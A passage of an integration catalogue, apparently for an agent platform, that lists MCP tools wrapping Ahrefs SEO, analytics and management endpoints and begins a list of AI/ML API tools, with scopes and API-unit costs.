(GET) via GET /v3/management/project-keywords. Requests to this endpoint are free and do not consume any API units. GET /api/v1/ahrefs/management/project-keywords. Scopes: api. ahrefs_get_management_projects (read) — Management: Projects (GET) via GET /v3/management/projects. Requests to this endpoint are free and do not consume any API units. GET /api/v1/ahrefs/management/projects. Scopes: api. ahrefs_get_public_crawler_ip_ranges (read) — Public: Crawler IP ranges via GET /v3/public/crawler-ip-ranges. Requests to this endpoint are free and do not require an API key. GET /api/v1/ahrefs/public/crawler-ip-ranges. Scopes: api. ahrefs_get_public_crawler_ips (read) — Public: Crawler IP addresses via GET /v3/public/crawler-ips. Requests to this endpoint are free and do not require an API key. GET /api/v1/ahrefs/public/crawler-ips. Scopes: api. ahrefs_get_public_domain_rating_free (read) — Public: Domain rating free (GET) via GET /v3/public/domain-rating-free. Requests to this endpoint are free, yet require an APIv3 key. Use of this data is subject to the Domain Rating License at http://ahrefs.com/legal/domain-rating-license. Attribution required: 'Domain Rating by Ahrefs' (https://ahrefs.com/). GET /api/v1/ahrefs/public/domain-rating-free. Scopes: api. ahrefs_get_public_domain_rating_top_domains (read) — Public: Domain rating top domains via GET /v3/public/domain-rating-top-domains. Requests to this endpoint are free, yet require an APIv3 key. Returns the top 1M domains ranked by Ahrefs Domain Rating, together with each domain's current Domain Rating. Use `from` and `to` to request a range of rank positions. Each request can return up to 250k rows (e.g. `from=1&to=250000`). GET /api/v1/ahrefs/public/domain-rating-top-domains. Scopes: api. ahrefs_get_rank_tracker_competitors_domains (read) — Rank Tracker: Competitors domains via GET /v3/rank-tracker/competitors-domains. Requests to this endpoint are free and do not consume any API units. GET /api/v1/ahrefs/rank-tracker/competitors-domains. Scopes: api. ahrefs_get_rank_tracker_competitors_overview (read) — Rank Tracker: Competitors overview via GET /v3/rank-tracker/competitors-overview. Requests to this endpoint are free and do not consume any API units. GET /api/v1/ahrefs/rank-tracker/competitors-overview. Scopes: api. ahrefs_get_rank_tracker_competitors_pages (read) — Rank Tracker: Competitors pages via GET /v3/rank-tracker/competitors-pages. Requests to this endpoint are free and do not consume any API units. GET /api/v1/ahrefs/rank-tracker/competitors-pages. Scopes: api. ahrefs_get_rank_tracker_competitors_stats (read) — Rank Tracker: Competitors metrics via GET /v3/rank-tracker/competitors-stats. Requests to this endpoint are free and do not consume any API units. GET /api/v1/ahrefs/rank-tracker/competitors-stats. Scopes: api. ahrefs_get_rank_tracker_overview (read) — Rank Tracker: Overview via GET /v3/rank-tracker/overview. Requests to this endpoint are free and do not consume any API units. GET /api/v1/ahrefs/rank-tracker/overview. Scopes: api. ahrefs_get_rank_tracker_serp_overview (read) — Rank Tracker: SERP Overview via GET /v3/rank-tracker/serp-overview. Requests to this endpoint are free and do not consume any API units. GET /api/v1/ahrefs/rank-tracker/serp-overview. Scopes: api. ahrefs_get_serp_overview_serp_overview (read) — SERP Overview: SERP Overview via GET /v3/serp-overview/serp-overview GET /api/v1/ahrefs/serp-overview/serp-overview. Scopes: api. ahrefs_get_site_audit_issues (read) — Site Audit: Project Issues via GET /v3/site-audit/issues. This endpoint consumes a fixed cost of 50 API units per request. GET /api/v1/ahrefs/site-audit/issues. Scopes: api. ahrefs_get_site_audit_page_content (read) — Site Audit: Page content via GET /v3/site-audit/page-content. This endpoint consumes a fixed cost of 50 API units per request. GET /api/v1/ahrefs/site-audit/page-content. Scopes: api. ahrefs_get_site_audit_page_explorer (read) — Site Audit: Page explorer via GET /v3/site-audit/page-explorer. This endpoint consumes a fixed cost of 50 API units per request. GET /api/v1/ahrefs/site-audit/page-explorer. Scopes: api. ahrefs_get_site_audit_projects (read) — Site Audit: Project Health Scores via GET /v3/site-audit/projects. Requests to this endpoint are free and do not consume any API units. GET /api/v1/ahrefs/site-audit/projects. Scopes: api. ahrefs_get_site_explorer_ai_responses_count (read) — Site Explorer: AI Responses Count via GET /v3/site-explorer/ai-responses-count GET /api/v1/ahrefs/site-explorer/ai-responses-count. Scopes: api. ahrefs_get_site_explorer_all_backlinks (read) — Site Explorer: Backlinks via GET /v3/site-explorer/all-backlinks GET /api/v1/ahrefs/site-explorer/all-backlinks. Scopes: api. ahrefs_get_site_explorer_anchors (read) — Site Explorer: Anchors via GET /v3/site-explorer/anchors GET /api/v1/ahrefs/site-explorer/anchors. Scopes: api. ahrefs_get_site_explorer_backlinks_stats (read) — Site Explorer: Backlinks stats via GET /v3/site-explorer/backlinks-stats GET /api/v1/ahrefs/site-explorer/backlinks-stats. Scopes: api. ahrefs_get_site_explorer_broken_backlinks (read) — Site Explorer: Broken Backlinks via GET /v3/site-explorer/broken-backlinks GET /api/v1/ahrefs/site-explorer/broken-backlinks. Scopes: api. ahrefs_get_site_explorer_crawled_pages (read) — Site Explorer: Crawled pages via GET /v3/site-explorer/crawled-pages GET /api/v1/ahrefs/site-explorer/crawled-pages. Scopes: api. ahrefs_get_site_explorer_domain_rating (read) — Site Explorer: Domain rating via GET /v3/site-explorer/domain-rating GET /api/v1/ahrefs/site-explorer/domain-rating. Scopes: api. ahrefs_get_site_explorer_domain_rating_history (read) — Site Explorer: Domain Rating history via GET /v3/site-explorer/domain-rating-history GET /api/v1/ahrefs/site-explorer/domain-rating-history. Scopes: api. ahrefs_get_site_explorer_keywords_history (read) — Site Explorer: Keywords history via GET /v3/site-explorer/keywords-history GET /api/v1/ahrefs/site-explorer/keywords-history. Scopes: api. ahrefs_get_site_explorer_linked_anchors_external (read) — Site Explorer: Outgoing external anchors via GET /v3/site-explorer/linked-anchors-external GET /api/v1/ahrefs/site-explorer/linked-anchors-external. Scopes: api. ahrefs_get_site_explorer_linked_anchors_internal (read) — Site Explorer: Outgoing internal anchors via GET /v3/site-explorer/linked-anchors-internal GET /api/v1/ahrefs/site-explorer/linked-anchors-internal. Scopes: api. ahrefs_get_site_explorer_linkeddomains (read) — Site Explorer: Linked Domains via GET /v3/site-explorer/linkeddomains GET /api/v1/ahrefs/site-explorer/linkeddomains. Scopes: api. ahrefs_get_site_explorer_metrics (read) — Site Explorer: Metrics via GET /v3/site-explorer/metrics GET /api/v1/ahrefs/site-explorer/metrics. Scopes: api. ahrefs_get_site_explorer_metrics_by_country (read) — Site Explorer: Metrics by country via GET /v3/site-explorer/metrics-by-country GET /api/v1/ahrefs/site-explorer/metrics-by-country. Scopes: api. ahrefs_get_site_explorer_metrics_history (read) — Site Explorer: Metrics history via GET /v3/site-explorer/metrics-history GET /api/v1/ahrefs/site-explorer/metrics-history. Scopes: api. ahrefs_get_site_explorer_organic_competitors (read) — Site Explorer: Organic competitors via GET /v3/site-explorer/organic-competitors GET /api/v1/ahrefs/site-explorer/organic-competitors. Scopes: api. ahrefs_get_site_explorer_organic_keywords (read) — Site Explorer: Organic keywords via GET /v3/site-explorer/organic-keywords GET /api/v1/ahrefs/site-explorer/organic-keywords. Scopes: api. ahrefs_get_site_explorer_outlinks_stats (read) — Site Explorer: Outlinks stats via GET /v3/site-explorer/outlinks-stats. This is a beta version of the endpoint. The data it returns may not always exactly match the corresponding values in Ahrefs UI. Data accuracy will be improved soon. GET /api/v1/ahrefs/site-explorer/outlinks-stats. Scopes: api. ahrefs_get_site_explorer_pages_by_backlinks (read) — Site Explorer: Best pages by backlinks via GET /v3/site-explorer/pages-by-backlinks. Formerly `/best-by-external-links` GET /api/v1/ahrefs/site-explorer/pages-by-backlinks. Scopes: api. ahrefs_get_site_explorer_pages_by_internal_links (read) — Site Explorer: Best pages by internal links via GET /v3/site-explorer/pages-by-internal-links. Formerly `/best-by-internal-links` GET /api/v1/ahrefs/site-explorer/pages-by-internal-links. Scopes: api. ahrefs_get_site_explorer_pages_by_traffic (read) — Site Explorer: Pages by traffic via GET /v3/site-explorer/pages-by-traffic GET /api/v1/ahrefs/site-explorer/pages-by-traffic. Scopes: api. ahrefs_get_site_explorer_pages_history (read) — Site Explorer: Pages history via GET /v3/site-explorer/pages-history GET /api/v1/ahrefs/site-explorer/pages-history. Scopes: api. ahrefs_get_site_explorer_paid_pages (read) — Site Explorer: Paid pages via GET /v3/site-explorer/paid-pages GET /api/v1/ahrefs/site-explorer/paid-pages. Scopes: api. ahrefs_get_site_explorer_refdomains (read) — Site Explorer: Refdomains via GET /v3/site-explorer/refdomains GET /api/v1/ahrefs/site-explorer/refdomains. Scopes: api. ahrefs_get_site_explorer_refdomains_history (read) — Site Explorer: Refdomains history via GET /v3/site-explorer/refdomains-history GET /api/v1/ahrefs/site-explorer/refdomains-history. Scopes: api. ahrefs_get_site_explorer_top_pages (read) — Site Explorer: Top pages via GET /v3/site-explorer/top-pages GET /api/v1/ahrefs/site-explorer/top-pages. Scopes: api. ahrefs_get_site_explorer_total_search_volume_history (read) — Site Explorer: Total search volume history via GET /v3/site-explorer/total-search-volume-history GET /api/v1/ahrefs/site-explorer/total-search-volume-history. Scopes: api. ahrefs_get_site_explorer_url_rating_history (read) — Site Explorer: URL Rating history via GET /v3/site-explorer/url-rating-history GET /api/v1/ahrefs/site-explorer/url-rating-history. Scopes: api. ahrefs_get_social_media_activity_history (read) — Social Media: Activity history via GET /v3/social-media/activity-history. Requests to this endpoint are free and do not consume any API units. GET /api/v1/ahrefs/social-media/activity-history. Scopes: api. ahrefs_get_social_media_authors (read) — Social Media: Authors via GET /v3/social-media/authors. Requests to this endpoint are free and do not consume any API units. GET /api/v1/ahrefs/social-media/authors. Scopes: api. ahrefs_get_social_media_channel_metrics (read) — Social Media: Channel metrics via GET /v3/social-media/channel-metrics. Requests to this endpoint are free and do not consume any API units. GET /api/v1/ahrefs/social-media/channel-metrics. Scopes: api. ahrefs_get_social_media_channels (read) — Social Media: Channels via GET /v3/social-media/channels. Requests to this endpoint are free and do not consume any API units. GET /api/v1/ahrefs/social-media/channels. Scopes: api. ahrefs_get_social_media_post_metrics (read) — Social Media: Post metrics via GET /v3/social-media/post-metrics. Requests to this endpoint are free and do not consume any API units. GET /api/v1/ahrefs/social-media/post-metrics. Scopes: api. ahrefs_get_social_media_posts (read) — Social Media: Posts via GET /v3/social-media/posts. Requests to this endpoint are free and do not consume any API units. GET /api/v1/ahrefs/social-media/posts. Scopes: api. ahrefs_get_subscription_info_limits_and_usage (read) — Subscription Information: Limits and usage via GET /v3/subscription-info/limits-and-usage. Requests to this endpoint are free and do not consume any API units. GET /api/v1/ahrefs/subscription-info/limits-and-usage. Scopes: api. ahrefs_get_web_analytics_browser_versions (read) — Web Analytics: Browser Versions via GET /v3/web-analytics/browser-versions. Requests to this endpoint are free and do not consume any API units. GET /api/v1/ahrefs/web-analytics/browser-versions. Scopes: api. ahrefs_get_web_analytics_browser_versions_chart (read) — Web Analytics: Browser Versions Chart via GET /v3/web-analytics/browser-versions-chart. Requests to this endpoint are free and do not consume any API units. GET /api/v1/ahrefs/web-analytics/browser-versions-chart. Scopes: api. ahrefs_get_web_analytics_browsers (read) — Web Analytics: Browsers via GET /v3/web-analytics/browsers. Requests to this endpoint are free and do not consume any API units. GET /api/v1/ahrefs/web-analytics/browsers. Scopes: api. ahrefs_get_web_analytics_browsers_chart (read) — Web Analytics: Browsers Chart via GET /v3/web-analytics/browsers-chart. Requests to this endpoint are free and do not consume any API units. GET /api/v1/ahrefs/web-analytics/browsers-chart. Scopes: api. ahrefs_get_web_analytics_chart (read) — Web Analytics: Chart via GET /v3/web-analytics/chart. Requests to this endpoint are free and do not consume any API units. GET /api/v1/ahrefs/web-analytics/chart. Scopes: api. ahrefs_get_web_analytics_cities (read) — Web Analytics: Cities via GET /v3/web-analytics/cities. Requests to this endpoint are free and do not consume any API units. GET /api/v1/ahrefs/web-analytics/cities. Scopes: api. ahrefs_get_web_analytics_cities_chart (read) — Web Analytics: Cities Chart via GET /v3/web-analytics/cities-chart. Requests to this endpoint are free and do not consume any API units. GET /api/v1/ahrefs/web-analytics/cities-chart. Scopes: api. ahrefs_get_web_analytics_continents (read) — Web Analytics: Continents via GET /v3/web-analytics/continents. Requests to this endpoint are free and do not consume any API units. GET /api/v1/ahrefs/web-analytics/continents. Scopes: api. ahrefs_get_web_analytics_continents_chart (read) — Web Analytics: Continents Chart via GET /v3/web-analytics/continents-chart. Requests to this endpoint are free and do not consume any API units. GET /api/v1/ahrefs/web-analytics/continents-chart. Scopes: api. ahrefs_get_web_analytics_countries (read) — Web Analytics: Countries via GET /v3/web-analytics/countries. Requests to this endpoint are free and do not consume any API units. GET /api/v1/ahrefs/web-analytics/countries. Scopes: api. ahrefs_get_web_analytics_countries_chart (read) — Web Analytics: Countries Chart via GET /v3/web-analytics/countries-chart. Requests to this endpoint are free and do not consume any API units. GET /api/v1/ahrefs/web-analytics/countries-chart. Scopes: api. ahrefs_get_web_analytics_devices (read) — Web Analytics: Devices via GET /v3/web-analytics/devices. Requests to this endpoint are free and do not consume any API units. GET /api/v1/ahrefs/web-analytics/devices. Scopes: api. ahrefs_get_web_analytics_devices_chart (read) — Web Analytics: Devices Chart via GET /v3/web-analytics/devices-chart. Requests to this endpoint are free and do not consume any API units. GET /api/v1/ahrefs/web-analytics/devices-chart. Scopes: api. ahrefs_get_web_analytics_entry_pages (read) — Web Analytics: Entry Pages via GET /v3/web-analytics/entry-pages. Requests to this endpoint are free and do not consume any API units. GET /api/v1/ahrefs/web-analytics/entry-pages. Scopes: api. ahrefs_get_web_analytics_entry_pages_chart (read) — Web Analytics: Entry Pages Chart via GET /v3/web-analytics/entry-pages-chart. Requests to this endpoint are free and do not consume any API units. GET /api/v1/ahrefs/web-analytics/entry-pages-chart. Scopes: api. ahrefs_get_web_analytics_exit_pages (read) — Web Analytics: Exit Pages via GET /v3/web-analytics/exit-pages. Requests to this endpoint are free and do not consume any API units. GET /api/v1/ahrefs/web-analytics/exit-pages. Scopes: api. ahrefs_get_web_analytics_exit_pages_chart (read) — Web Analytics: Exit Pages Chart via GET /v3/web-analytics/exit-pages-chart. Requests to this endpoint are free and do not consume any API units. GET /api/v1/ahrefs/web-analytics/exit-pages-chart. Scopes: api. ahrefs_get_web_analytics_languages (read) — Web Analytics: Languages via GET /v3/web-analytics/languages. Requests to this endpoint are free and do not consume any API units. GET /api/v1/ahrefs/web-analytics/languages. Scopes: api. ahrefs_get_web_analytics_languages_chart (read) — Web Analytics: Languages Chart via GET /v3/web-analytics/languages-chart. Requests to this endpoint are free and do not consume any API units. GET /api/v1/ahrefs/web-analytics/languages-chart. Scopes: api. ahrefs_get_web_analytics_operating_systems (read) — Web Analytics: Operating Systems via GET /v3/web-analytics/operating-systems. Requests to this endpoint are free and do not consume any API units. GET /api/v1/ahrefs/web-analytics/operating-systems. Scopes: api. ahrefs_get_web_analytics_operating_systems_chart (read) — Web Analytics: Operating Systems Chart via GET /v3/web-analytics/operating-systems-chart. Requests to this endpoint are free and do not consume any API units. GET /api/v1/ahrefs/web-analytics/operating-systems-chart. Scopes: api. ahrefs_get_web_analytics_operating_systems_versions (read) — Web Analytics: Operating Systems Versions via GET /v3/web-analytics/operating-systems-versions. Requests to this endpoint are free and do not consume any API units. GET /api/v1/ahrefs/web-analytics/operating-systems-versions. Scopes: api. ahrefs_get_web_analytics_operating_systems_versions_chart (read) — Web Analytics: Operating Systems Versions Chart via GET /v3/web-analytics/operating-systems-versions-chart. Requests to this endpoint are free and do not consume any API units. GET /api/v1/ahrefs/web-analytics/operating-systems-versions-chart. Scopes: api. ahrefs_get_web_analytics_referrers (read) — Web Analytics: Referrers via GET /v3/web-analytics/referrers. Requests to this endpoint are free and do not consume any API units. GET /api/v1/ahrefs/web-analytics/referrers. Scopes: api. ahrefs_get_web_analytics_referrers_chart (read) — Web Analytics: Referrers Chart via GET /v3/web-analytics/referrers-chart. Requests to this endpoint are free and do not consume any API units. GET /api/v1/ahrefs/web-analytics/referrers-chart. Scopes: api. ahrefs_get_web_analytics_source_channels (read) — Web Analytics: Source Channels via GET /v3/web-analytics/source-channels. Requests to this endpoint are free and do not consume any API units. GET /api/v1/ahrefs/web-analytics/source-channels. Scopes: api. ahrefs_get_web_analytics_source_channels_chart (read) — Web Analytics: Source Channels Chart via GET /v3/web-analytics/source-channels-chart. Requests to this endpoint are free and do not consume any API units. GET /api/v1/ahrefs/web-analytics/source-channels-chart. Scopes: api. ahrefs_get_web_analytics_sources (read) — Web Analytics: Sources via GET /v3/web-analytics/sources. Requests to this endpoint are free and do not consume any API units. GET /api/v1/ahrefs/web-analytics/sources. Scopes: api. ahrefs_get_web_analytics_sources_chart (read) — Web Analytics: Sources Chart via GET /v3/web-analytics/sources-chart. Requests to this endpoint are free and do not consume any API units. GET /api/v1/ahrefs/web-analytics/sources-chart. Scopes: api. ahrefs_get_web_analytics_stats (read) — Web Analytics: Stats via GET /v3/web-analytics/stats. Requests to this endpoint are free and do not consume any API units. GET /api/v1/ahrefs/web-analytics/stats. Scopes: api. ahrefs_get_web_analytics_top_pages (read) — Web Analytics: Top Pages via GET /v3/web-analytics/top-pages. Requests to this endpoint are free and do not consume any API units. GET /api/v1/ahrefs/web-analytics/top-pages. Scopes: api. ahrefs_get_web_analytics_top_pages_chart (read) — Web Analytics: Top Pages Chart via GET /v3/web-analytics/top-pages-chart. Requests to this endpoint are free and do not consume any API units. GET /api/v1/ahrefs/web-analytics/top-pages-chart. Scopes: api. ahrefs_get_web_analytics_utm_params (read) — Web Analytics: UTM Parameters via GET /v3/web-analytics/utm-params. Requests to this endpoint are free and do not consume any API units. GET /api/v1/ahrefs/web-analytics/utm-params. Scopes: api. ahrefs_get_web_analytics_utm_params_chart (read) — Web Analytics: UTM Parameters Chart via GET /v3/web-analytics/utm-params-chart. Requests to this endpoint are free and do not consume any API units. GET /api/v1/ahrefs/web-analytics/utm-params-chart. Scopes: api. ahrefs_patch_management_brand_radar_prompts (write) — Management: Update Brand Radar prompts via PATCH /v3/management/brand-radar-prompts. Requests to this endpoint are free and do not consume any API units. PATCH /api/v1/ahrefs/management/brand-radar-prompts. Scopes: api. ahrefs_patch_management_brand_radar_reports (write) — Management: Brand Radar Reports (PATCH) via PATCH /v3/management/brand-radar-reports. Requests to this endpoint are free and do not consume any API units. PATCH /api/v1/ahrefs/management/brand-radar-reports. Scopes: api. ahrefs_patch_management_update_project (write) — Management: Update Project via PATCH /v3/management/update-project. Requests to this endpoint are free and do not consume any API units. At least one of `access` or `folder` must be set. PATCH /api/v1/ahrefs/management/update-project. Scopes: api. ahrefs_patch_social_media_post (write) — Social Media: Update post via PATCH /v3/social-media/post. Requests to this endpoint are free and do not consume any API units. PATCH /api/v1/ahrefs/social-media/post. Scopes: api. ahrefs_post_batch_analysis_batch_analysis (write) — Batch Analysis: Batch Analysis via POST /v3/batch-analysis/batch-analysis POST /api/v1/ahrefs/batch-analysis/batch-analysis. Scopes: api. ahrefs_post_brand_radar_ai_responses (write) — Brand Radar: AI Responses (POST) via POST /v3/brand-radar/ai-responses. Requests to this endpoint consume API units based on the `prompts` parameter: requests returning only custom prompt data are free, while requests including Ahrefs prompt data follow standard API unit pricing. POST /api/v1/ahrefs/brand-radar/ai-responses. Scopes: api. ahrefs_post_brand_radar_citations_history (write) — Brand Radar: Overview history - Citations via POST /v3/brand-radar/citations-history. Requests to this endpoint consume API units based on the `prompts` parameter: requests returning only custom prompt data are free, while requests including Ahrefs prompt data follow standard API unit pricing. Every entity provided in `brands` (and `competitors`, when applicable) must include at least one value in `url_groups`. Entities consisting only of `names` are not supported here because citations are matched against URL groups. POST /api/v1/ahrefs/brand-radar/citations-history. Scopes: api. ahrefs_post_brand_radar_citations_overview (write) — Brand Radar: Overview - Citations via POST /v3/brand-radar/citations-overview. Requests to this endpoint consume API units based on the `prompts` parameter: requests returning only custom prompt data are free, while requests including Ahrefs prompt data follow standard API unit pricing. Every entity provided in `brands` (and `competitors`, when applicable) must include at least one value in `url_groups`. Entities consisting only of `names` are not supported here because citations are matched against URL groups. POST /api/v1/ahrefs/brand-radar/citations-overview. Scopes: api. ahrefs_post_brand_radar_cited_domains (write) — Brand Radar: Cited Domains (POST) via POST /v3/brand-radar/cited-domains. Requests to this endpoint consume API units based on the `prompts` parameter: requests returning only custom prompt data are free, while requests including Ahrefs prompt data follow standard API unit pricing. POST /api/v1/ahrefs/brand-radar/cited-domains. Scopes: api. ahrefs_post_brand_radar_cited_pages (write) — Brand Radar: Cited Pages (POST) via POST /v3/brand-radar/cited-pages. Requests to this endpoint consume API units based on the `prompts` parameter: requests returning only custom prompt data are free, while requests including Ahrefs prompt data follow standard API unit pricing. POST /api/v1/ahrefs/brand-radar/cited-pages. Scopes: api. ahrefs_post_brand_radar_impressions_history (write) — Brand Radar: Overview history - Impressions (POST) via POST /v3/brand-radar/impressions-history. Requests to this endpoint consume API units based on the `prompts` parameter: requests returning only custom prompt data are free, while requests including Ahrefs prompt data follow standard API unit pricing. POST /api/v1/ahrefs/brand-radar/impressions-history. Scopes: api. ahrefs_post_brand_radar_impressions_overview (write) — Brand Radar: Overview - Impressions (POST) via POST /v3/brand-radar/impressions-overview. Requests to this endpoint consume API units based on the `prompts` parameter: requests returning only custom prompt data are free, while requests including Ahrefs prompt data follow standard API unit pricing. POST /api/v1/ahrefs/brand-radar/impressions-overview. Scopes: api. ahrefs_post_brand_radar_mentions_history (write) — Brand Radar: Overview history - Mentions (POST) via POST /v3/brand-radar/mentions-history. Requests to this endpoint consume API units based on the `prompts` parameter: requests returning only custom prompt data are free, while requests including Ahrefs prompt data follow standard API unit pricing. Every entity provided in `brands` (and `competitors`, when applicable) must include at least one value in `names`. Entities consisting only of `url_groups` are not supported here because mentions are matched against brand names. POST /api/v1/ahrefs/brand-radar/mentions-history. Scopes: api. ahrefs_post_brand_radar_mentions_overview (write) — Brand Radar: Overview - Mentions (POST) via POST /v3/brand-radar/mentions-overview. Requests to this endpoint consume API units based on the `prompts` parameter: requests returning only custom prompt data are free, while requests including Ahrefs prompt data follow standard API unit pricing. Every entity provided in `brands` (and `competitors`, when applicable) must include at least one value in `names`. Entities consisting only of `url_groups` are not supported here because mentions are matched against brand names. POST /api/v1/ahrefs/brand-radar/mentions-overview. Scopes: api. ahrefs_post_brand_radar_sov_history (write) — Brand Radar: Overview history - Share of Voice (POST) via POST /v3/brand-radar/sov-history. Requests to this endpoint consume API units based on the `prompts` parameter: requests returning only custom prompt data are free, while requests including Ahrefs prompt data follow standard API unit pricing. POST /api/v1/ahrefs/brand-radar/sov-history. Scopes: api. ahrefs_post_brand_radar_sov_overview (write) — Brand Radar: Overview - Share of Voice (POST) via POST /v3/brand-radar/sov-overview. Requests to this endpoint consume API units based on the `prompts` parameter: requests returning only custom prompt data are free, while requests including Ahrefs prompt data follow standard API unit pricing. POST /api/v1/ahrefs/brand-radar/sov-overview. Scopes: api. ahrefs_post_management_brand_radar_prompts (write) — Management: Brand Radar prompts (POST) via POST /v3/management/brand-radar-prompts. Requests to this endpoint are free and do not consume any API units. POST /api/v1/ahrefs/management/brand-radar-prompts. Scopes: api. ahrefs_post_management_brand_radar_reports (write) — Management: Brand Radar Reports (POST) via POST /v3/management/brand-radar-reports. Requests to this endpoint are free and do not consume any API units. POST /api/v1/ahrefs/management/brand-radar-reports. Scopes: api. ahrefs_post_management_project_competitors (write) — Management: Competitors (POST) via POST /v3/management/project-competitors. Requests to this endpoint are free and do not consume any API units. POST /api/v1/ahrefs/management/project-competitors. Scopes: api. ahrefs_post_management_project_competitors_delete (write) — Management: Delete competitors via POST /v3/management/project-competitors-delete. Requests to this endpoint are free and do not consume any API units. POST /api/v1/ahrefs/management/project-competitors-delete. Scopes: api. ahrefs_post_management_projects (write) — Management: Projects (POST) via POST /v3/management/projects. Requests to this endpoint are free and do not consume any API units. POST /api/v1/ahrefs/management/projects. Scopes: api. ahrefs_post_public_domain_rating_free (write) — Public: Domain rating free (POST) via POST /v3/public/domain-rating-free. Requests to this endpoint are free, yet require an APIv3 key. Use of this data is subject to the Domain Rating License at http://ahrefs.com/legal/domain-rating-license. Attribution required: 'Domain Rating by Ahrefs' (https://ahrefs.com/). POST /api/v1/ahrefs/public/domain-rating-free. Scopes: api. ahrefs_post_social_media_post (write) — Social Media: Create post via POST /v3/social-media/post. Requests to this endpoint are free and do not consume any API units. POST /api/v1/ahrefs/social-media/post. Scopes: api. ahrefs_put_management_brand_radar_prompts_delete (write) — Management: Delete Brand Radar prompts via PUT /v3/management/brand-radar-prompts-delete. Requests to this endpoint are free and do not consume any API units. PUT /api/v1/ahrefs/management/brand-radar-prompts-delete. Scopes: api. ahrefs_put_management_keyword_list_keywords (write) — Management: Keywords list (PUT /management/keyword-list-keywords) via PUT /v3/management/keyword-list-keywords. Requests to this endpoint are free and do not consume any API units. PUT /api/v1/ahrefs/management/keyword-list-keywords. Scopes: api. ahrefs_put_management_keyword_list_keywords_delete (write) — Management: Keywords list (PUT /management/keyword-list-keywords-delete) via PUT /v3/management/keyword-list-keywords-delete. Requests to this endpoint are free and do not consume any API units. PUT /api/v1/ahrefs/management/keyword-list-keywords-delete. Scopes: api. ahrefs_put_management_project_keywords (write) — Management: Keywords (PUT) via PUT /v3/management/project-keywords. Requests to this endpoint are free and do not consume any API units. PUT /api/v1/ahrefs/management/project-keywords. Scopes: api. ahrefs_put_management_project_keywords_delete (write) — Management: Delete Keywords via PUT /v3/management/project-keywords-delete. Requests to this endpoint are free and do not consume any API units. PUT /api/v1/ahrefs/management/project-keywords-delete. Scopes: api. ahrefs_put_management_project_keywords_tags (write) — Management: Add Keywords Tags via PUT /v3/management/project-keywords-tags. Requests to this endpoint are free and do not consume any API units. PUT /api/v1/ahrefs/management/project-keywords-tags. Scopes: api. ahrefs_put_management_project_keywords_tags_delete (write) — Management: Delete Keywords Tags via PUT /v3/management/project-keywords-tags-delete. Requests to this endpoint are free and do not consume any API units. PUT /api/v1/ahrefs/management/project-keywords-tags-delete. Scopes: api. ================================================================================ ## AI/ML API URL: https://www.agenticfabriq.com/integrations/aimlapi Section: Integrated Tools AI/ML API — 32 MCP tools Provider key: aimlapi. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. aimlapi_get_model_by_id (read) — Get Model via GET /model/{id}. Gets one model by id or alias (`gpt-4o` and `openai/gpt-4o` both resolve), with its release date, developer, context length, maximum output, training cutoff and pricing. Answers with or without a credential. GET /api/v1/aimlapi/model/{id}. Scopes: api. aimlapi_get_models_metrics (read) — Get Model Metrics via GET /models/metrics. Latency and throughput percentiles (p50/p75/p90/p99 for total duration, time to first token and tokens per second) over a recent window, per model and endpoint. Narrow it with `aliases`. Answers with or without a credential. GET /api/v1/aimlapi/models/metrics. Scopes: api. aimlapi_get_v1_batches (read) — Get Batch via GET /v1/batches. Fetches a batch created by Create Batch, by its `id`. An unknown id answers 404 'Inference not found'; omitting the id answers 400 'Query validation error!'. GET /api/v1/aimlapi/v1/batches. Scopes: api. aimlapi_get_v1_billing_balance (read) — Get Balance via GET /v1/billing/balance. The account's current credit balance with the time it was last updated, whether it is below the low-balance threshold, and the auto-debit status. A balance of zero is why inference calls answer 403 'You've run out of funds' while management calls keep working. GET /api/v1/aimlapi/v1/billing/balance. Scopes: api. aimlapi_get_v1_key (read) — Get Current API Key via GET /v1/key. The metadata of the key most recently used for inference -- prefix, name, disabled state, model-access scopes, spending limit and monthly usage. No key material is returned. Answers 404 'No used inference API key found' when the account has made no inference call yet, which is an empty result rather than an error. GET /api/v1/aimlapi/v1/key. Scopes: api. aimlapi_get_v1_keys (read) — List API Keys via GET /v1/keys. Lists the account's API keys by PREFIX -- the first 8 characters, the same value the dashboard shows -- with each key's name, whether it is disabled, its model-access scopes, its spending limit and its monthly usage. No key material is returned. This call is itself gated by a per-key endpoint permission: a key without it is refused with 403 'This endpoint is not allowed for this API key', which is a permission to enable at aimlapi.com/app/keys, not a bad key. GET /api/v1/aimlapi/v1/keys. Scopes: api. aimlapi_get_v1_models (read) — List Models via GET /v1/models. Lists every model AI/ML API serves, with its developer, context length, modalities, capabilities and pricing. Filter with `type`, `tags`, `modalities`, `input_modalities`, `output_modalities` or `capabilities`, or name one with `id`. This is how to find a valid `model` value for any inference call -- the catalogue changes often enough that AI/ML API publishes a deprecations feed for it. Answers with or without a credential. GET /api/v1/aimlapi/v1/models. Scopes: api. aimlapi_get_v1_models_deprecations (read) — List Model Deprecations via GET /v1/models/deprecations. Lists models that are deprecated or withdrawn, each with the date it was deprecated, the date it shuts down, the reason and the model that replaces it. Check this before pinning a model id: a withdrawn id stops answering. Answers with or without a credential. GET /api/v1/aimlapi/v1/models/deprecations. Scopes: api. aimlapi_get_v1_responses_response_id (read) — Get Model Response via GET /v1/responses/{response_id}. Fetches a response created by Create Model Response, by its id. This is how a `background: true` response is polled. An unknown id answers 404 'Inference not found'. GET /api/v1/aimlapi/v1/responses/{response_id}. Scopes: api. aimlapi_get_v1_stt_generation_id (read) — Get Transcription via GET /v1/stt/{generation_id}. Fetches a transcription started by Create Transcription, by its generation id. An unknown id answers 404 'Inference not found'. GET /api/v1/aimlapi/v1/stt/{generation_id}. Scopes: api. aimlapi_get_v2_billing (read) — Get Billing Summary via GET /v2/billing. The account's current balance and currency (the v2 billing generation). Shorter than Get Balance; use Get Balance for the low-balance and auto-debit state. GET /api/v1/aimlapi/v2/billing. Scopes: api. aimlapi_get_v2_billing_detail (read) — Get Billing Detail via GET /v2/billing/detail. The account holder's id and email beside the current balance, currency and the auto top-up settings (whether it is enabled, the threshold that triggers it and the amount it adds). GET /api/v1/aimlapi/v2/billing/detail. Scopes: api. aimlapi_get_v2_billing_transactions (read) — List Billing Transactions via 